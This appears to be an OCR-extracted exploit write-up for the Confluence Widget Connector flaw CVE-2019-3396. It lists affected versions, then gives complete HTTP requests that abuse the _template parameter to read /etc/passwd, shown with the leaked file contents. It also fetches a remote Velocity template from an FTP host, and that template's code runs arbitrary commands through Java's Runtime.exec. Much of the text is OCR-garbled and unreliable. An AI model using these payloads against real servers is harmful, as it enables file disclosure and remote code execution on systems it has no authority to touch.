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2.5 hR 2~

Confluence 1.%.*  2.** 3** 4** 5**
Confluence 6.0.*, 6.1.*, 6.2.*, 6.3.*, 6.4.* 6.5*
Confluence 6.6.* < 6.6.12

Confluence6.7.*, 6.8.*, 6.9.* 6.10.*, 6.11.*
Confluence 6.12.* < 6.12.3

Confluence 6.13.* < 6.13.3

Confluence 6.14.* < 6.14.2

3.7 IE
320812l

payload:

POST /rest/tinymce/1/macro/preview HTTP/1.1

Host: XX XX.XX.XX:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Referer: http://XXXX.XX.XX:8090/pages/resumedraft.action?draftld=786457&draftShareld=0
6b55bc-fc4a-487b-b1e1-8f673f280c23&

Content-Type: application/json; charset=utf-8

Content-Length: 178

{"contentld":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddle
.com/v/23464dc6","width":"1000","height":"1000"," template":"file:///etc/passwd"}}}
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POST /rest/tinymee/l/macro/preview HTTP/1.1 a </haad> A
Host: *% *"®0 "W *r.gps0 P <body id="com-atlassian-confloence® class="content-preview"s -
Accept-Encedifiy: §rip, deflate <div id="main®>
Acceapt: */f# <div jd="content” class="page adit*>
Accept-Language: en <div elasa="wiki-content">
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows rootix:0:0:root: froot i /bin/bash
HT 6.1; Winfd; x6d4; Trident/s/5.0) binrx:l:libin: /bin:/sbin/nologin
Connection: close daemonix12:2:daemon: /sbin:/sbin/nologin
Referer: admrx:3rdradm: fvarSadm: fsbin/nologin
httpz/e"™ *00 *8% "5,8090/pages/resumedraft.action?draftid lpix:d:7:lp:/var/spool/lpd: /sbin/nologin
=786457edraftShareld=056b55bo-fcda-48Tb-blel-BEETIE2B0023 syncrx:5:0:sync: /shin: /bin/syne
B shutdown:x:6:0:shutdown: /sbin: /sbin/shutdown
Contant-Type: application/json; charset=utf-8 halt:x:7:0:halt:/sbin: /sbin/halt
Content=Length: 178 mail:x:B:12:mail:/var/spool/mail:/sbin/nologin
operator:x:1l:0:operator:/root:/sbin/nologin
{"contentId”:"7896458", "macro” :{ "nama”:"widgat", "body~:"", games:x:12:100:games: /use/games: /sbhin/nologin
“params”:{"url”:"https://www.viddler.com/v/23464dcE"™, "wid ftp:x:14:50:FTIF User:/var/ftp:/sbin/nologin
th":"1000", "height":"1000°,"_template”:"file:///etc/pasaw nobody:x:99:99 :Nobody: /: /sbin/nologin
d"}r} | pegasus:ix: 66:65: tog-pegasus OpanPagasus WBEM/CIM
| services:/var/lib/Pegasus:/sbin/nologin
systemd-networkix:192:192:systemd Network Management:/: /sbin/nologin
dbus:x:61:81:System message bus:/: /sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nolegin
apache:x: 48 :48;: Apache: fuse/share/httpd: /sbin/nologin
unbound:x: 398 : 995 Unbound DNS resolver:/etc/unbound:/sbin/nologin
libstoragemgmt:x:997:9%94 1daemon account for
libstoragesgmt:/var/ran/lsm: /sbin/nologin
saslaothixr996:765aslauthd user:/run/saslauthd:/sbin/nologin
colordix1995:9931ser for colord:/war/lib/colord:/sbin/nologin
rpo:x:32:33:RApcbind Daemon:/var/lib/rpcbind: /sbin/nologin
gluster:x:994:992:GlusterFS dasmons:/run/gluster:/shin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin s
postfix:x:89:89:: /var/spool/postiix: /sbin/nolegin ™
rthkit:x:172:172:Realtinekit: /proc: fsbin/nologin
pulse:x:171:171:Pulsehudio System Daemon:/var/runfpulse:/sbin/moleogin ||
radvd:x:75:75:radvd user:/:/sbin/nolegin A
Fpousar:x:29:29:RPC Servica Usar:/war/lib/mfs:/sbin/nolegin
nfsncbody:x:65534: 65534 : Anonymous NFS User:/var/lib/nfs:/sbin/molegin
b ehrony:x:993:988: : /var/lib/chrony: fsbin/nolegin -
. qemu:x:107:107 :qemu user:/:/sbin/nolegin v

3.2 ST

POST /rest/tinymce/1/macro/preview HTTP/1.1

Host: XX.XX.xx.xx:8090

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Referer: http://xx.xx.xx.xx:8090/pages/resumedraft.action?draftld=786457&draftShareld=056
55bc-fc4a-487b-b1e1-8f673f280c23&

Content-Type: application/json; charset=utf-8

Content-Length: 210
{"contentld":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddle
.com/v/23464dc6","width":"1000","height":"1000"," template":"ftp://xx.xx.xx.xx:21/rce.vm"”,"c
mmand":"ifconfig"}}}

rce.vmp&ftpeh

#set ($exp="exp")
#set ($a=%$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(
ull,null).exec($command))
#set ($input=9$exp.getClass().forName("java.lang.Process").getMethod("getinputStream").invo
e($a))
#set($sc = $exp.getClass().forName("java.util.Scanner™))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStrea
"))
#set($scan=$constructor.newlnstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end

BM2(EfE: https://github.com/jas502n/CVE-2019-3396
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